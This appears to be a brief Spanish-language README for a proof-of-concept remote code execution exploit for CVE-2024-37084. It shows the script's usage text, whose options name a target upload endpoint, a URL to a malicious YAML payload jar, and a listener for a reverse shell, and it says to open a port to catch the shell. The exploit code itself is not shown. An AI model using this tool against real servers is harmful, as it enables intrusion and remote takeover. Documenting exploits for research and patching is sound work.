kayiyan/cve-2024-37084-pocAnálisis, exploit de demostración y PoC sobre CVE-2024-37084
Configuración, análisis, exploit de demostración y PoC sobre CVE-2024-37084
py .\CVE-2024-37084-Poc.py
usage: python CVE-2024-37084-Poc.py --target_url <target_url> --version <version> --payload_url <payload_url> [--listen_ip <listen_ip>] [--listen_port <listen_port>]
PoC for CVE-2024-37084 - Remote Code Execution
optional arguments:
-h, --help show this help message and exit
--target_url TARGET_URL
URL of the target server (e.g., http://target_ip:port/api/package/upload)
--version VERSION Version of the package (e.g., 5.0.0)
--payload_url PAYLOAD_URL
URL to the malicious payload (e.g., https://too.lewd.se/yaml-payload.jar)
--listen_ip LISTEN_IP
IP to listen for the reverse shell (default: 0.0.0.0)
--listen_port LISTEN_PORT
Port to listen for the reverse shell (default: 4444)
Configurar puerto de escucha para capturar la shell:
Enlace de configuración, análisis y demostración por mí
Para el payload YAML se puede usar: Enlace